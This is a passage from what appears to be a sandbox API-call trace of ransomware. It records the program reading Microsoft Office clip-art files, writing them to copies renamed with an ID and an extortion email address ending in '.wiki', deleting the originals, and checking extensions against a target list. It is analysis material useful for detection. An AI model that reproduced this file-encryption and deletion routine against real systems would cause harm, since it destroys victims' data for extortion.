[0199.801] CloseHandle (hObject=0x1f0) returned 1 [0199.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0199.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.802] lstrlenW (lpString=".doc") returned 4 [0199.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString=".docx") returned 5 [0199.802] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.802] lstrlenW (lpString=".pdf") returned 4 [0199.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString=".xls") returned 4 [0199.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.802] lstrlenW (lpString=".xlsx") returned 5 [0199.802] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.802] lstrlenW (lpString=".ppt") returned 4 [0199.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.802] lstrlenW (lpString=".zip") returned 4 [0199.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.802] lstrlenW (lpString=".rar") returned 4 [0199.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString=".bz2") returned 4 [0199.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString=".7z") returned 3 [0199.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.802] lstrlenW (lpString=".dbf") returned 4 [0199.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.802] lstrlenW (lpString=".1cd") returned 4 [0199.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString=".jpg") returned 4 [0199.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString=".doc") returned 4 [0199.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString=".docx") returned 5 [0199.803] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.803] lstrlenW (lpString=".pdf") returned 4 [0199.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString=".xls") returned 4 [0199.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.803] lstrlenW (lpString=".xlsx") returned 5 [0199.803] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.803] lstrlenW (lpString=".ppt") returned 4 [0199.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString=".zip") returned 4 [0199.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.803] lstrlenW (lpString=".rar") returned 4 [0199.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString=".bz2") returned 4 [0199.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString=".7z") returned 3 [0199.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString=".dbf") returned 4 [0199.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.803] lstrlenW (lpString=".1cd") returned 4 [0199.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0199.804] lstrlenW (lpString=".jpg") returned 4 [0199.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.804] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.804] lstrlenW (lpString="J0187849.WMF") returned 12 [0199.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.804] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7572) returned 1 [0199.804] CloseHandle (hObject=0x1f0) returned 1 [0199.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 0x20 [0199.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.805] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.805] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.805] GetLastError () returned 0x0 [0199.805] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1d94, lpOverlapped=0x0) returned 1 [0199.807] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0199.808] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.808] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.808] SetEndOfFile (hFile=0x1c8) returned 1 [0199.808] CloseHandle (hObject=0x1c8) returned 1 [0199.808] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.808] SetEndOfFile (hFile=0x1f0) returned 1 [0199.810] CloseHandle (hObject=0x1f0) returned 1 [0199.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0199.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.810] lstrlenW (lpString=".doc") returned 4 [0199.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString=".docx") returned 5 [0199.811] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.811] lstrlenW (lpString=".pdf") returned 4 [0199.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString=".xls") returned 4 [0199.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.811] lstrlenW (lpString=".xlsx") returned 5 [0199.811] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.811] lstrlenW (lpString=".ppt") returned 4 [0199.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.811] lstrlenW (lpString=".zip") returned 4 [0199.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.811] lstrlenW (lpString=".rar") returned 4 [0199.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString=".bz2") returned 4 [0199.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString=".7z") returned 3 [0199.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.811] lstrlenW (lpString=".dbf") returned 4 [0199.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.811] lstrlenW (lpString=".1cd") returned 4 [0199.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.811] lstrlenW (lpString=".jpg") returned 4 [0199.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString=".doc") returned 4 [0199.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString=".docx") returned 5 [0199.812] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.812] lstrlenW (lpString=".pdf") returned 4 [0199.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString=".xls") returned 4 [0199.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.812] lstrlenW (lpString=".xlsx") returned 5 [0199.812] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.812] lstrlenW (lpString=".ppt") returned 4 [0199.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString=".zip") returned 4 [0199.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.812] lstrlenW (lpString=".rar") returned 4 [0199.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString=".bz2") returned 4 [0199.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString=".7z") returned 3 [0199.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString=".dbf") returned 4 [0199.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString=".1cd") returned 4 [0199.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0199.812] lstrlenW (lpString=".jpg") returned 4 [0199.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.813] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.813] lstrlenW (lpString="J0187851.WMF") returned 12 [0199.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.813] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8732) returned 1 [0199.813] CloseHandle (hObject=0x1f0) returned 1 [0199.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 0x20 [0199.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.814] GetLastError () returned 0x0 [0199.814] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x221c, lpOverlapped=0x0) returned 1 [0199.816] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0199.817] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.817] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.817] SetEndOfFile (hFile=0x1c8) returned 1 [0199.817] CloseHandle (hObject=0x1c8) returned 1 [0199.817] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.817] SetEndOfFile (hFile=0x1f0) returned 1 [0199.818] CloseHandle (hObject=0x1f0) returned 1 [0199.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.819] lstrlenW (lpString=".doc") returned 4 [0199.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString=".docx") returned 5 [0199.819] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.819] lstrlenW (lpString=".pdf") returned 4 [0199.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString=".xls") returned 4 [0199.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.819] lstrlenW (lpString=".xlsx") returned 5 [0199.819] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.819] lstrlenW (lpString=".ppt") returned 4 [0199.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.819] lstrlenW (lpString=".zip") returned 4 [0199.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.819] lstrlenW (lpString=".rar") returned 4 [0199.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString=".bz2") returned 4 [0199.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString=".7z") returned 3 [0199.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.819] lstrlenW (lpString=".dbf") returned 4 [0199.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.819] lstrlenW (lpString=".1cd") returned 4 [0199.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.980] lstrlenW (lpString=".jpg") returned 4 [0199.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.981] lstrlenW (lpString=".doc") returned 4 [0199.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString=".docx") returned 5 [0199.983] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.983] lstrlenW (lpString=".pdf") returned 4 [0199.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString=".xls") returned 4 [0199.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.983] lstrlenW (lpString=".xlsx") returned 5 [0199.983] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.983] lstrlenW (lpString=".ppt") returned 4 [0199.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.983] lstrlenW (lpString=".zip") returned 4 [0199.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.983] lstrlenW (lpString=".rar") returned 4 [0199.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString=".bz2") returned 4 [0199.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString=".7z") returned 3 [0199.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.983] lstrlenW (lpString=".dbf") returned 4 [0199.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.983] lstrlenW (lpString=".1cd") returned 4 [0199.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0199.983] lstrlenW (lpString=".jpg") returned 4 [0199.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.984] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.984] lstrlenW (lpString="J0188669.WMF") returned 12 [0199.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.984] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=29602) returned 1 [0199.984] CloseHandle (hObject=0x1cc) returned 1 [0199.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 0x20 [0199.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.984] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.984] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.985] GetLastError () returned 0x0 [0199.985] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x73a2, lpOverlapped=0x0) returned 1 [0199.987] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x73b0, lpOverlapped=0x0) returned 1 [0199.988] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.988] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.988] SetEndOfFile (hFile=0x1c8) returned 1 [0199.988] CloseHandle (hObject=0x1c8) returned 1 [0199.988] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.989] SetEndOfFile (hFile=0x1cc) returned 1 [0199.989] CloseHandle (hObject=0x1cc) returned 1 [0199.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0199.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.990] lstrlenW (lpString=".doc") returned 4 [0199.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") 